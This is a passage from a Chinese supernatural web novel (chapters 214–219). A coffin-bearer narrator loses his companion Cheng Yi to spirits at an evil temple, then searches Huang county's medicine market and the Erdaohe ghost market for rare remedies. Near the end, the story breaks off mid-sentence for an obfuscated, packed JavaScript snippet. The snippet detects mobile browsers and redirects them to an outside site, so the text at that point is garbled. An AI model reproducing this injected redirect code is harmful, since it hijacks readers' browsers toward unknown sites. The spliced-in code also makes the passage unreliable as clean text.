我的情况还算好,被火狐狸在额头刺了一刀之后,整个人都和过去大相径庭,我虽然能明显感受到此时所受的影响,但心神大致还是清醒的。 我不知道究竟是什么人出现了,正要再仔细的观察一下,身后的程一突然就像是失控了一样,迈步朝邪神庙走去。 我拉了程一一把,但她没什么反应,甩开我的手,仍然一步不停的朝前走。 程一现在走过去,肯定没什么好事,我紧走了两步,想要追上她,但是脚步一动,邪神庙里面,陡然传出了一阵鼓声。 那仿佛是一面历经了岁月沧桑的大鼓,沉寂了千百年之后突然爆发出了沉闷的声响。我的脑海还是清醒的,可是这阵咚咚的鼓声顺着耳朵钻进去,我的脚步顿时就不由自主的停下了。 就这么一耽搁,程一的脚步越来越快,最后一路小跑着冲入了写神庙。当她的身影没入写神庙大门的那一刻,整个人唰的一下子就消失了。 我心里一急,忍不住也跟了过去。 我跨过邪神庙的门槛,却没有看见程一,邪神庙还是上次我所见到的样子,只不过,庙里面飘荡着一片朦胧的尘雾,飘飘渺渺,让人感觉像是漂浮在层层叠叠的云霞之中。 “是什么人!出来!” 我明知道眼前是个圈套,但还是要硬着头皮朝里面闯。我这一嗓子喊出去之后,那阵嗡嗡的诵经声,随即戛然而止。 这种情况,单纯用肉眼去判断,估计看不出什么,我一闭上眼睛,额头上的伤口似乎又在脑海中折射出了一片模糊的情景。 我确定,额头上的伤口所感应到的,才是眼前真正的景象。 果不其然,我真的看到了程一,程一站在距离我大概有七八米远的地方。 一看见程一,我就想冲过去,可是,仅仅一秒钟之后,我突然就感应到,在程一的身边,还有一团几乎察觉不出来的身影、 那道身影非常的淡,这就说明,身影要么就是道行很深,要么就根本不是人,否则,它不可能变成一道连我都分辨不出的影子。 毫无疑问,那道身影就是始作俑者。 越是这个时候,就越是不能乱,我站在原地屏气凝神,又仔细的感应了一下。 这时候,我的头皮又是一麻,那团影子是清晰了一些,我隐约看出来,影子是个上了岁数的女人。 她花白的头发扎着两条马尾辫,身上穿着一件碎花布的薄棉袄。 第214章 一往无前 尽管那团身影模模糊糊的,很淡很淡,可是通过对方那很扎眼的特征,我随即就分辨出来,那是花衣婆婆。 我们这边的人,对花衣婆婆都有种来自心底的畏惧,那毕竟是凶名远播的怨灵,等我一察觉到花衣婆婆的影子,心里不仅仅是畏惧,同时还有很深的疑惑。 花衣婆婆出没的地方,一直都在王川山那边,到现在为止,我还没有听说过别的地方有花衣婆婆的传闻。平安集这里离王川山已经算是很远了,她怎么会突然在此处现身? 花衣婆婆一出现,这件事就更加复杂,我暂时搞不清楚,是花衣婆婆自己来的,还是老杂毛和她一起来的。 程一就在花衣婆婆的身边,看样子神智已经很不清醒了,完全没有自主能力。我心里有些发慌,在考虑着该不该直接过去,先把人救下来再说。 花衣婆婆再怎么样,也只是怨灵,怨灵想要搞什么事情,只能从人的精神意识上下手,不会对人本身造成什么伤害。我觉得,自己应该能扛得住。 程一站在那边,一动不动,刚出虎穴又入狼窝,我顿时就把心里别的念头都抛到了一旁,迈步朝前走去。 我的脚步一动,从邪神庙里面又传出了一阵鼓声,鼓声离我很近,咚咚的声响似乎能把人的神智完全震碎。要是放到过去,我听到这阵鼓声肯定会非常狼狈,但是,就从火狐狸在我额头刺了一刀以后,我的定力比之前强了不知道多少。 这阵咚咚的鼓声让我的耳朵嗡嗡作响,一种麻木的感觉顺着耳朵瞬间蔓延到了身躯四肢。 我的脚步忍不住就慢了,不过,我自己感应的很清楚,这阵鼓声不可能彻底搅扰我的心神,我还是能坚持的下来。 我继续迈步向前,又走了一步,一道幽幽的声音,仿佛穿透了咚咚的鼓声,钻到了我的耳朵里。 这是个老婆婆的声音,仿佛是从九幽地狱里冒出来的一样,让人听了之后就浑身发冷。 “这个女人,不能留在你身边。” 我不由自主的打了个哆嗦,这声音如同一把刀,一下子刺到了我的心窝上。 她说的女人,毫无疑问就是程一,果然,今天这个局,就是冲着程一而来的。 “花衣婆婆,这个姑娘得罪过你?” “没有得罪过我,但她不能留在你身边,要不然,你将来迟早会被她拖累死。” “她怎么会拖累我?” “你自己仔细看一看,你心里留着一个人的影子。” 花衣婆婆的话,让我猛然一惊,我忍不住开始回想。 我曾经见过很多人,因为种种原因,有些人在我心里肯定留下过很深刻的印象,比如师傅,比如毛叔,还有大甜瓜。 但是,在这些密密麻麻的人影的后面,我看到了程一的影子。 就是这一瞬间,我突然升腾起一种自己之前都揣摩不透的念头。 从小到大,是有一些人给过我诚心的帮助,那些人或许是朋友,或许是陌生人,但是,从来没有像程一这样的姑娘,对我掏心掏肺的。 人非草木,尤其是程一这样的女孩子,我不知道这算不算是情窦初开,可程一在我心里留下的影子,显然已经很深很深了。 我想到这里的时候,心头忍不住一颤,花衣婆婆既然能在这个地方追上程一,那就说明,她追击程一肯定不是刚刚才开始的。 难道,程一家里出事,和花衣婆婆也有脱不开的干系? 我无法推敲出真正的答案,而且,现在暂时也顾不上别的,只能先救出程一,别的事情,只能推后再说了。 “她和你没仇,你先放了她吧。” “她在你心里留下了影子,你既然忘不掉,那就让她永远的离开吧,你现在是有些舍不得,但留下她,你会受吃亏的。” “我不怕吃亏,你放了她,我自己的事,我自己能解决。” “你能解决?” 花衣婆婆好像冷笑了一声,紧跟着,她的身影唰的一下子,如同一片泡沫,飞速的消散在视线中。 花衣婆婆的身影本来就很淡,消失也就消失了,可是在她消失的同时,程一的身影,好像也脱离了我的感应。 我额头上的那道伤口,能感受到很多肉眼无法观察的景象,但此时此刻,程一似乎消失的非常彻底。我心里一急,一下子就忘记了自己身在何处,迈步就冲了过去。 轰!!! 我已经料定了,眼前的邪神庙只不过是一片虚无的幻境而已,只要识破了幻境,就不可能阻挠我。然而,当我横冲直撞,朝前猛冲过去的时候,一下子就撞到了邪神庙正殿的大门上。 我完全没想到,就是这虚幻的环境,竟然差点把我撞了一个跟头。 在我撞上大门的那一刻,大门轰然洞开。邪神庙的正殿其实并不大,里面的摆设也非常简单,只有一尊面目全非的神像,和一张破破烂烂的供桌。 这个时候,我肯定不能拖延时间,不管遇到了什么情况,都得硬着头皮冲。 正殿里突然爆开了一团尘土,飞扬的尘烟迷住了我的眼睛,我伸手揉了揉眼,等再次睁开眼睛的时候,我的头皮就麻了。 不管是那座庙里的神像,都是泥胎木胎,邪神庙里面供奉的神像,本来已经辨认不出模样了,可是等我再睁开眼,一下子认出来,那尊神像的脸,是郭宁的脸。 此时此刻,仿佛就是郭宁本人站在了供桌的前面。邪神庙是郭家嫡系所创,郭宁也是郭家最直系的子孙后裔,可我不知道邪神庙有没有这个规矩,还会把郭宁当成神像去顶礼膜拜。 “如果你不想步我的后尘,就停步吧。” 郭宁说话了,尽管我在全力的控制自己的情绪,稳定心神,但郭宁开口的那一刻,我还是忍不住有些恍惚。 “步你的后尘……什么意思?” “你的一生,就像是一条路,路上会遇见各种各样的人,有些人会给你带来好运,有些人会给你带来厄运。那个程家的姑娘,能带给你的,或许只有厄运。” 第215章 道心有损 “程家的姑娘,会给我带来什么厄运?” “我就是你的前车之鉴。” “我不懂,我也不信什么前车之鉴,你是你,我是我,我们的环境不同,走的路也不同,你的经验,在我身上不一定管用。” “你说的不错,但这一条在你身上,一定管用。” 郭宁站在供桌的后面,开始娓娓道来,我几次想要打断他,可总是开不了口。 郭宁这个人,始终都给我一种比较奇特的感觉,但我觉得,他不会说谎,他现在讲出的每一个字,都是真的。 一些过去的事情,我已经知道了,当年,郭宁从白水湖火拼之中拼死逃了出来,但情况不容乐观,邪神庙死了那么多人,郭宁的手指也被砍断了四根。 闯荡江湖的人都知道,缺了四根手指,基本上等于这只手已经废了,就算天资再出众的人,成就也要大打折扣。 换了心志不太坚定的人,或许会因此而消极沉沦,但郭宁并没有这样,相反,白水湖的经历让他更加坚忍。 为了活下去,也为了能给当年死去的人报仇,郭宁承受了别人不能承受的苦和累。他独来独往,隐忍负重,无论寒冬还是酷暑,一天都没有携带过。 他之所以能够从一个身体残缺的无名少年,最后成长为白八门和郭家旁支闻风丧胆的人物,只因为郭宁的心里没有别的什么念头,只有报仇这一个想法。 一个人长年累月,只为了一个目的,能吃苦,能受累,最后多半是会成功的。 果然,郭宁苦苦隐忍了二十年,精炼拳脚的同时,还把郭家世代相传的一些典籍参悟的滚瓜烂熟,等他再次出山,白八门和郭家旁支的一些人接连毙命,一时间,人人谈虎色变。 要是事情就这样一直发展下去,白八门和郭家旁支一定还要吃大亏。他们虽然进行过反击,却连郭宁的影子都没有找到,二十年岁月,郭宁都是在隐忍中度过的,他几乎没有什么缺点,也没有什么软肋,想要抓到他,或者击败他,几乎没有可能。 直到有一天,郭宁无意中救了一个女人,后面的事情,就全都改变了。 那个女人,是郭宁在乘船赶路的途中救下的。女人的年龄不大,看着也就二十岁左右的样子,等把她救上来以后,郭宁给了她点吃的,说等会顺路把她送回家,那女人道了谢,然后就要下船。 郭宁问了以后才知道,女人没有父母,连家也没有了。郭宁过去极少跟外人打交道,他独来独往惯了,也不会管那么多闲事,那女人要下船,郭宁就把船靠了岸。 女人上岸之后,一步一步的走了,等她走出去十几步远的时候,郭宁心里就有些感触。 他回想起自己当年一个人从白水湖逃出来之后,或许也是这样孤苦无依的行走在那条仿佛永远都走不到尽头的路上。 郭宁本身并不是一个无情无义的人,如果他真的无情,当年就不会冒着生命危险,杀到白水湖去救援自己的同伴。只不过这么多年孤苦的生活,让他学会了沉默。 那个女人孤零零的背影,最终让郭宁破了例,他追上那个女人,重新把她带到了船上。 船走了一路,两个人聊了一路,或许,他们身上各自都有对方的影子,虽然话说的不多,可每一个字,却仿佛都说到了彼此的心里。 从此以后,两个人相依为命,不管郭宁走到何处,都会带着这个女人。 郭宁就像是飘零了半生的浮萍,突然有了一个归宿,一个寄托,他的心境,自然而然就发生了很大的变化。过去,他毫无顾忌,反正就是孤家寡人,来去如风,可现在,他有了家,有了自己牵挂的人,无论再做什么事情,都要瞻前顾后。 他的心境,也有了尘世的杂念,从遇到那个女人之后,郭宁就再也没有一点进境。 他也想过,如果一直这样下去的话,可能迟早都会出事。 事情的发展,果然印证了郭宁的预料,他不肯割舍自己的家,但又不能丢下自己的使命,苦苦拼了几年,最后终于被白八门和郭家旁支给盯上了。 那时候,他的妻子怀了身孕,如果郭宁丢下妻子,独自逃走的话,还是有很大把握的,可他狠不下心。 后面的事情,我都已经知道了,此时,我明白郭宁究竟想对我表达什么。他是在告诉我,一个人的成就,和自己的心境有关,心境高低,直接决定了这个人的命运。 心境是不能被影响和破坏的,否则的话,被毁掉的不仅仅是一个人的前途,很可能会把命也给丢掉。 “我和你不一样。”我明白了郭宁的意思,但仍然不肯就这样罢休:“我不会耽误自己的心境。” “你将来要做大事,就不能不割舍一些东西,这个世间是很公平的,你得到了什么,就一定也会失去别的东西,不要强求,人不能胜天。” “让开!” 我的情绪不免有些激动,在这里耽误的时间太久的话,很可能就会找不到程一了。 我不顾一切的迈步向前,只走出去了一步远,面前嘭的一下,又扬起了一片仿佛沉积了很多年的尘土。 飞扬的尘土在面前飘荡,迫不得已之下,我只能再次停了下来。飘荡的尘烟来的很突然,消散的也很快,在尘烟渐渐散去的同时,我正要抬腿朝前走,冷不防眼前一闪,郭宁的身影,不知道什么时候已经贴近了我。 他离我很近,两个人只有一步之遥,我还没来得及有任何动作,郭宁就伸出了一只手。 他的右手只剩下一根大拇指,朝着我的额头就按了下来,我的力气很足,抬手想要招架。 可是,我的两只胳膊一下子都扑空了,郭宁的这只手,甚至连同他这个人在内,都像是尘烟一般飘忽不定。 电光火石的一瞬间,郭宁的手指就按到了我的额头上,我的眼前顿时一黑,浑身上下的力气,连一丝一毫都使不出来了。 第216章 药材市场 此时此刻,我就算闭上眼睛,也无法用额头上的伤口去感应到什么,郭宁的一根手指,就仿佛一座山,把我所有的感官全部给遮挡了。 我的眼前漆黑一片,就连脑海似乎也空了。心里一万个不情愿,却偏偏连手都抬不起来。 “你放心,程家的姑娘,会平安无事,你见不到她,她也会活的好好的,这个世界上其实没有真正割舍不下的人或事,你觉得割舍不掉,只是时间不够。” 我能听见郭宁的声音,但是什么也看不见,想要说话,却连嘴巴都张不开。 眼前的黑暗不知道持续了多长时间,突然间,这片黑暗猛的散去,我又看到了一片清冷的月光。 我的内心深处一直都在惦念程一,视线恢复的那一瞬间,我的心就凉了。 眼前的地面上,只有一片一片斑驳的月光,邪神庙的影子已经不见了,郭宁还有花衣婆婆的身影也荡然无存,只剩下寂静的空荡,就仿佛什么都没有发生过。 我不由自主的迈开了脚步,朝前猛跑,只是跑出去一二十米远,我又停了下来。 今天设局的人无论是谁,目的就是带走程一,我现在就算心急火燎的去追,必然是追不上的。退一步讲,就算真的能追上,也无法把程一给弄回来。 我的双腿有些发软,因为我知道,自己的实力不够,有时候想要做的事情,想要救的人,却只能干着急。 眼下唯一值得庆幸的是,郭宁已经承诺了,我虽然见不到程一,但程一会很安全。我相信郭宁不是一个言而无信的人,程一被他们带走,反而会脱离眼下的困境。 我在原地站了许久,最终还是转过身,自己面前的这条路,总归还是要走下去的。 我没有再绕回到平安集,直接赶往了黄县。 这是我第一次来到黄县,刚刚进了县城,就能闻到一股非常浓重的药材的气息。黄县的东南部,有很多专门种药的药田,多少年以来盛产药材,来往的商人多了,别的地方出产的药材也都集中到这里,久而久之,黄县就成了本省最大的一个药材集散地。 黄县专门有一个售卖药材的市场,我知道,在黄县可能要滞留一段时间,所以先找了个地方安顿下来。一切都安排妥当了,这才到市场里先转了一圈。 药材这个行当,和别的许多行当一样,货有成千上万,价有天壤之别,平时常用的那些草药价格便宜,但真正的老药,却是千金难换。 在黄县的药材市场里,我算是开了眼界了,以前连听都没听说过的各种奇药琳琅满目,八两靠上的老山参,成了人形的何首乌,还有紫红色的茯苓。 但是转着转着,我就感觉心里没底。自己身上没多少钱,勉强能顾着衣食住行,想要买那种上好的宝药,就难如登天。 我没有别的本事,只会给人抬棺出殡,黄县附近的村镇到现在依然沿袭着过去的老传统,一般都是土葬,替人办白事的生意,一直都有。现如今我只能在黄县这边先住下,一边给人做点活挣钱,一边寻找能用得上的药。 这么一转悠,就转了一上午,到了饭点的时候,市场里的人少了一些,我本来也打算先离开的,无意中就发现了一个小店。 这个小药店,和别的店铺不太一样,这个市场里的铺子,大部分都是成包成包的批发药材,而这个小店没有那么多乱七八糟的货,柜台里的药,都是在红丝绒的盒子里放着的,我随意扫了两眼,就看见了麝香,大块的牛黄狗宝,还有整根的犀牛角。 小店的老板是个六十多岁的老人,正坐在门口喝茶,我已经看出来了,这个小店经营的都是些上品。我初来乍到,人生地不熟,对这边不了解,就想跟对方攀谈攀谈。 这个店老板倒是很热情,也不管我买不买药,我一搭腔,人家就邀请我坐下来喝茶,一杯茶下肚,简单的聊了几句,我就知道老板姓田,叫田新农,祖上几代都住在黄县。 他的祖父当年闯关东,在关外混过十几年,后来回到老家开了个药店,田新农的祖父在关外是见过世面的,寻常的甘草冬青之类的药材他也看不上,就专门经营价格昂贵的老药,只要做成一单生意,就比别人卖上几百斤货赚的都多。 我和田新农聊了一阵子之后,就表露了自己想要买点老药的想法。 “小兄弟,你看着身强力壮的,买药是给别人用?你在我这里随意看看,要是有合用的,价钱好商量。” “是给别人用。” 我不想把话说的太明白,就含含糊糊的编了一通谎话。田新农精通药理,卖药的虽然不是医生,但经验很丰富,对医理也多少知道些。听完我的话之后,他就轻轻皱了皱眉头。 “小兄弟,要按你的要求,可是不好整啊,你说的病人,听起来是伤到本元了。这市场里补元气的药很多,但那都是生药,治标不治本。” “生药?这市场里的药,不都是生药吗?买回去还要自己煎煮。” “不是不是,我说的生药,可不是这个意思。” 如果我不是问了田新农,的确不知道生药熟药究竟是什么意思。 在田新农这种行家的口里,所谓的生药,就是人工种植或者采集的药材,无论是最便宜的草药,还是野生的人参和鹿茸,都叫做生药。 而熟药,特指的就是通过一些很特殊的手段得来的药,比如说,黑瞎子栖息的洞穴附近,必有小红莲,赤练子盘踞的地方,必有紫何首乌,跟着这些野物采集到的药,叫做熟药。 除此之外,还有一些药材,不是人采集的,而是动物采集或者炮制出来的,也叫做熟药。 生药熟药,一字之差,但效用却是天壤之别。比如说虎骨,从老虎身上直接取走的骨头,就是生药。但在关外的深山老林里,有些有道行的妖仙,像是狐狸或者黄皮子之类的东西,会驱使狼或者野猪把虎骨吞噬下去。 虎骨在野猪肚子里不会消化,要是呆的时间久了,虎骨会变成黑色,这就是很多医生可望而不可得的虎王骨。 第217章 二道河鬼市 要不是跟田新农聊了聊,我还真不知道这一行里有这么多的说法。按照他的意思,生药的效用是远远不如熟药的,但获取熟药的途径很狭窄,产量特别低,基本上是属于可遇不可求的。 这个市场上卖药材的人很多,但熟药凤毛麟角,那都是碰运气才可以找到的。 我的心底立刻泛起了一股淡淡的酸楚,脖子上的红印,时时刻刻都在消耗我的生命,但现在又没有别的办法。 我能猜想的到,当年师傅肯定和如今的我一样,到处寻找能保命的东西,才苟延残喘了那么多年。 看起来,我在黄县这个地方,还要滞留很长一段时间,绝对不是三五天就能有所收获的。 “小兄弟,别垂头丧气的。”田新农或许是察觉到了我有些低落,在旁边安慰道:“本元流逝,那不是一两天造成的,想要慢慢的补回来,也不是一两天就能补全的,这是急不来的事,悠着点,别心急,耐着性子等机会。” “大爷,我明白这个道理。” “我给你说个地方,要是你有时间,就去碰碰运气。” “什么地方?” “就我们黄县的旁边,有一条二道河,二道河那边,有个鬼市。” “田大爷,我上午过来的时候,听人说过二道河,那地方是不是很荒?” “二道河都荒了多少年了。” “那么荒的地方,怎么会有鬼市?” “二道河鬼市,跟别的地方的鬼市,可不一样啊。二道河鬼市,是真的鬼市。” 民间老百姓说的鬼市,都是入夜出摊,天亮散去,从不在白天经营,所以才叫鬼市。 但所有大大小小的鬼市,里面做生意的都是人。 二道河鬼市也是晚上开张,白天散去。但和别的地方的鬼市不同的是,在二道河鬼市做买卖的,不一定都是人。 有些民间所谓的“仙家”,会带着东西去二道河鬼市,田新农所说的罕见的熟药,大部分都是出自仙家之手。 而且,传闻每个月初一,三十,这两个月缺的日子,二道河鬼市那边会有孤魂野鬼出没,这些孤魂野鬼,一般都是有未了的心愿,或者生前没办成的事,它们会寻找合适的目标,给对方一些好处,让对方帮自己的忙。 所以,二道河鬼市,那真是名副其实的鬼市。 鬼市里乱七八糟的东西都有,有些仙家偶尔会带去一些罕见的药,黄县这边做药材生意的人,还有一部分急需老药救命的,会时常到二道河鬼市去找货。虽然二道河很荒僻,不过,二道河鬼市经久不衰,已经有两三百年的历史了。 “小兄弟,二道河鬼市那边,的确是有不少好东西的,只不过……好东西自然不便宜。” 田新农从我的衣着打扮上也能看出来,我不是什么有钱人。 “田大爷,我明白了,这种事情急不得,我自己慢慢来。” 和田新农聊了这么久,我心里喜忧参半,眼下还是得先谋生路,然后想法子去弄些我急需的药物。 我回到自己租来的小屋,躺在床上左思右想。此时此刻,我还能感应到身躯中那种蓬勃的力量,额头上的伤口已经开始愈合了,不过,只要我闭上眼睛,静心感应,还是能通过额头伤口的痕迹,去感应到一些肉眼所观察不到的情景。 我知道,这些变化完全就是当初火狐狸刺在额头那一刀所导致的,但我却想不明白,这其中究竟是什么原因。 这真的是一种非常奇怪的感觉,就好像我本身就拥有这样的力量,和这样超乎寻常的异能,只不过前半辈子,这股力量和异能一直都在潜伏,直到脑袋被刺了一刀之后,它们才突然从身躯的某个角落里冒了出来。 我在黄县这边不熟悉,暂时也找不到帮人办白事的机会,在药材市场这边混了几天,把大概情况弄明白以后,我也听别的人提到过二道河鬼市。 虽然现在一文不名,但我还是想要去二道河鬼市那边看看,先观察一下,究竟有没有我所需要的东西。 二道河鬼市几乎每天晚上都有,每个月的月初以及月末那几天,是最热闹的时候。我看着日子,到了初一傍晚的时候,就一个人朝着二道河那边走。 二道河距离县城大概有十几里的路程,等我走到二道河那边的时候,已经是晚上九点多快十点了。 鬼市是在二道河中游的河西岸,抬眼一望,西岸那边黑咕隆咚的一片,我第一次到这儿,不知道是什么情况,正在犹豫间,一盏幽幽的灯,突然亮了起来。 这盏灯仿佛是一个信号,随即,一盏又一盏灯接二连三的亮起,一瞬间,原本黑乎乎的夜色就被这片灯火光给照亮了。 鬼市没有门面房,所有人都是摆地摊,到天亮之前收摊。我沿着鬼市正中间那条路慢慢的走,一边走一边看。 有些摊子的摊主,就坐在后头,但隔三差五,就能看到一些摊子直摆着货物,却不见货主。 田新农之前就和我说过,这种不见货主的摊子,其实就是那些所谓的“仙家”的摊位。仙家不轻易露面,如果有人看上了它的东西,仙家才会出来和对方谈。 鬼市一共四排,我从南向北走,等走到最尽头的时候,就看见在北边大概十几米左右的地方,有几座显得很奇怪的建筑。 这些建筑很低,大概只有一米五左右高,就和以前乡下的土地庙一样。这种很低矮的小屋子,是用砖头和石块搭起来的,外面蒙着一层黑布。 这种小屋子,就是名副其实的鬼屋,是那些孤魂野鬼和人做交易的地方。小屋里面没有别的东西,只有一块扶乩用的沙盘。 如果有人的道行深,愿意跟这些孤魂野鬼打交道,可以到小屋这边来,选中一个,然后钻进去。 人钻进去,就等于接了这个活儿,小屋里面的沙盘上,会出现一些鬼画符一样的阴文。这些鬼画符一样的阴文,就是“雇主”所提出的要求。 第218章 有心无力 这些小屋看起来有点阴森,我总觉得一靠近这儿,身上就冷飕飕的。趁着周围没人,我微微闭上眼睛,仔细一感应,就在这几座小屋后面大概不到十米远的地方,看到了一团一团非常模糊的影子。 这些影子,就是人死之后留下的魂念,也是老百姓俗称的孤魂野鬼。我额头上的伤口虽然已经开始愈合,但仍然像是有一只张开了一半的天眼,这些没有什么道行的魂念,能被我感应到。 我没有声张,转身退了回来,把鬼市另外两排摊子也游逛了一遍。实话实说,二道河鬼市和别的地方的鬼市,的确不太一样。摊子上面稀奇古怪的货物很多,我逛了一圈,发现了几样已经不知道存放多少年的老药。 这些药材我用不上,只是为了查探一下行情,跟摊主问了问价。果不其然,东西是好东西,价钱也是好价钱,死贵死贵的,而且,这些卖货的人知道,既然有人跑到二道河鬼市来找药材,那多半就是为了救命用的,所以根本压不下来价。 把鬼市完完整整的转了一圈之后,暂时没有什么收获,我从二道河返回了县城。囊中羞涩,什么事情都做不成,我心里的危机感越来越重。 我只能靠着自己的手艺去想办法赚钱,但是办白事的和别的买卖不一样,我总不能挨家挨户的去问别人家里有没有死人,需要不需要办丧事。接下来的几天时间里,我一直都在县城还有附近的村镇转悠,赶巧才找到了一单生意,忙活了半天,最后弄了三十块钱。 看着手里的钞票,我忍不住苦笑了一声,就算是天天有生意,就这么三十二十的赚,得攒到猴年马月才能去二道河鬼市那边消费一下。 可这完全是没办法的事,办白事就是这个价钱,没有特殊情况的话,人家也不会多给。 我在县城这边呆几天,就会到二道河鬼市那边去看一看,就这么来回往返了几趟,时间也就过去了差不多一个月。 这一天又到了月末,每逢月末,是二道河鬼市最热闹的时候,我虽然两手空空,却还是不想错过机会,吃过晚饭以后就赶往了二道河。 大概到晚上十点钟左右,鬼市就开始放灯,星星点点的灯火光连绵不断。我已经来过好几次了,轻车熟路,在右手边这两排摊子中间慢慢的逛着,快到头的时候,我的眼睛陡然一亮。 面前有个很小的摊子,摊主是个老头儿,以前没见过。他的摊子上,只摆着一只木盒子。 木盒子里头,是一只看上去只有三寸长短的人参,三寸来长的人参个头小,可是,这支人参猛然看上去,活脱脱的就是一个人的形状,从脑袋到躯干四肢,惟妙惟肖。 在人参的脖子上,绑着一根细细的红绳。 稍稍懂行的人都知道,人参这东西个头儿越大,说明长的年头越多,价值也就越高,所以才有七两为参八两为宝的说法。 尤其是那种长成人形的人参,是最最罕见的,这样的人参传说都已经成精了,要拿红绳拴着,才不会逃走。 人参这东西,其实也是可以保元补气的,只不过我的情况和一般人不一样,黄县那边的市场里,六七两的老人参有不少,但对我没太大的用处。 可眼前这一支人参就有点特殊,个头儿不大,长成了人形,颜色微微有点发红。 “年轻人,这是好东西。”摆摊的老头看我一直盯着盒子里的人参,就慢悠悠的说道:“识货的一眼就能看出来。” “这参,看着个头儿不大啊。人参这东西,是长的年头越久越有用。” “长的年头久,就非得个头儿大?你个子比我高,你有我岁数大?” “道理是这么个道理,只是……” “来,你过过手。” 老头儿捏着那根红绳,把人参提了起来,交到我手上,这么一入手,我就觉得这人参的确有点门道。 三寸多长的人参,入手却足足有斤把的重量,八两的参就是宝了,这种能论斤的参,更是绝品。 “这参,快成精了,你瞧见没有,它不但长出了人形,身上还隐隐生出了经络,有了血肉,不是我夸口,不仅这二道河鬼市,你哪怕把方圆几百里都找一遍,这样的参,再没有第二支。” “啥价钱?” 老头儿慢慢伸出了一根手指头,说道:“两万块,别还价。” 我一听,脑袋就大了,在那个年头,两万块钱简直就是天文数字,我帮人办白事,抬棺出殡,遇到买卖多的时候,除去日常开销,一个月能攒下个二百多块钱。 两万块钱的人参,我不吃不喝也要攒上十来年。 “老板,这支人参,能留一段时间吗……” “你诚心要,可以给你留一留,但时间不能太久,空口白牙的,你说了要,等回头再变卦,我找谁去?你打算留多久?” “三……三年行吗……” “走走走,我在这里做生意,你却拿我逗闷子,赶紧走!” “老板,我的确诚心要,就是眼下手里不宽裕。” “再不宽裕,也没有把货留三年的,没得谈,别在这儿打扰我做买卖。” 我叹了口气,情绪有那么点低落,眼下太缺钱了,有什么好东西,看见了却干着急却没办法。 我也没心情继续在鬼市这边逛,马马虎虎的转了两圈,转身离开了二道河。 我慢慢的走着,心里一直在琢磨,该怎么赚点钱,以前靠着手艺吃饭,赚的不多,但没有什么急事。眼下等着救命,我却想不出什么合适的办法。 当我走到二道河跟县城中间的位置的时候,突然就感应到了一丝莫名的气息。这种感觉,以前出现过不止一次,我一下子就反应过来,可能有人跟在我后头。 我回头看了看,身后是一片深沉的夜色,半个人影都看不到。 但是等我再继续朝前走,那种被人尾随的感觉就又一次出现了,这一次,我的预感很强烈,后面肯定有人在暗中跟随,只不过对方估计有点门道,我没看出来他隐藏在何处。 我微微闭上眼,又一次回过头,额头上那只半开的天眼,立刻捕捉到了一团很模糊的身影。 第219章 枉死鬼 当我感应到身后那团影子的时候,立刻就察觉出,那是一团魂念,是人死之后留下来的,说白了,就是民间老百姓俗称的鬼。 鬼这个东西,事实上并没有民间传说里那么可怕,因为魂念无形,如果生前不是什么通天彻地的人物,死后的魂念也做不了什么。如果魂念能够为所欲为,那这个世界早就乱套了。 我看的出来,身后这团魂念已经跟了我很久了,只不过是距离靠近了以后才被我察觉到。 魂念是没有形体的,如果能察觉到他们的存在,就会发现魂念的影子,多半还是保持着临死前的模样。 我能看到跟在我后面的影子,是个四十多岁的中年男人,长的很瘦,浓眉毛大眼睛,本来应该是个挺俊朗的人,但是五官却一点都不协调。他的鼻子眼睛嘴巴,单独拿出来都端端正正的,偏偏是凑到一张脸上之后,就让人感觉很别扭,反正模样不怎么招人待见。 我一发现这团影子,心里立刻就警觉了。因为所有的魂念只要跟上了一个人,就肯定有原因,绝对不会无缘无故。 这时候,我不由自主的微微抬头,看了看天色,今天是月末,半空只剩下一弯残月,二道河鬼市那边的鬼屋,也是开张的日子,我有点怀疑,这团影子就是从鬼市那边一路跟过来的。 “兄弟……” 这团影子估计是已经察觉我发现了他,随即也停了下来,试探着说道:“你果然非同一般……” “你跟着**什么?” “兄弟,你既然能看到我,那我就不遮遮掩掩了……我过去学过那么一点看相摸骨的皮**,我看得出,兄弟你是满五行的命格。” “你的眼力倒还不错。” “不敢不敢,只是雕虫小技而已……”这个中年人看着我并没有特别排斥他,胆子就大了些,又靠近了几步,咧嘴一笑。 我始终都眯着眼睛,只有这样,才能通过额头上没有彻底愈合的伤口感应到中年人。 这家伙很会说话,谈笑之间,我就看见他的门牙缺了一颗,一笑起来,那模样显得非常滑稽。 但是我不敢有一点大意,以前吃亏吃的太多了,尤其是跟这种乱七八糟的东西打交道,还是要严防戒备。 “兄弟,我以前听人说,满五行的命格很少见,但凡是满五行的人,都要进白八门,否则的话,命数不顺。兄弟既然是满五行的命格,那……那多半就是白八门的人?” “我是不是白八门的人,和你有什么关系?” “没关系……也……也有点关系,兄弟,如果是白八门的人,能不能帮我个忙?” “你到底想说什么?” “兄弟,你先前来过二道河几次,我发现了,却不敢轻易搅扰,今天看见兄弟急匆匆的要走,我没法子,只能冒昧尾随过来,兄弟,我真的没有别的意思,只是……只是单纯求你帮个忙。” 我现在摸不清楚对方的路数,也不知道这是不是个坑,反正出门在外,多一事不如少一事。 “我就是个普通人,没啥本事,帮不了你的忙,你走吧,别跟着我。” “别!兄弟,留步!” 对方一看见我要走,顿时急了,唰的就飘了过来。 他这么一动,我肯定有所防备,立刻抽身朝后一撤。 “兄弟,我真的没有恶意,要不是没法子,我也不敢冒然打扰,兄弟,帮个忙吧,除了白八门的人,也没人能抬起我那口棺材……” “没人能抬起你那口棺材,什么意思?” 对方就害怕我转身离开,一看到我询问,立刻呱嗒呱嗒的讲述了起来。 这人姓马,叫马友,就是黄县本地人,年轻的时候偷偷学过相面摸骨,算是有那么一点名气。 马友靠着自己这点手艺,混口饭吃还是没什么问题的,但他从年轻的时候就有个毛病,喜欢赌钱,年龄大了也没改过。 马友赌钱,还是有两下子的,只不过他这个**大咧咧的,对身外之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777227|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物看的也不重,每次赢了钱,呼朋唤友大吃大喝,谁开口找他借,他都不会拒绝。 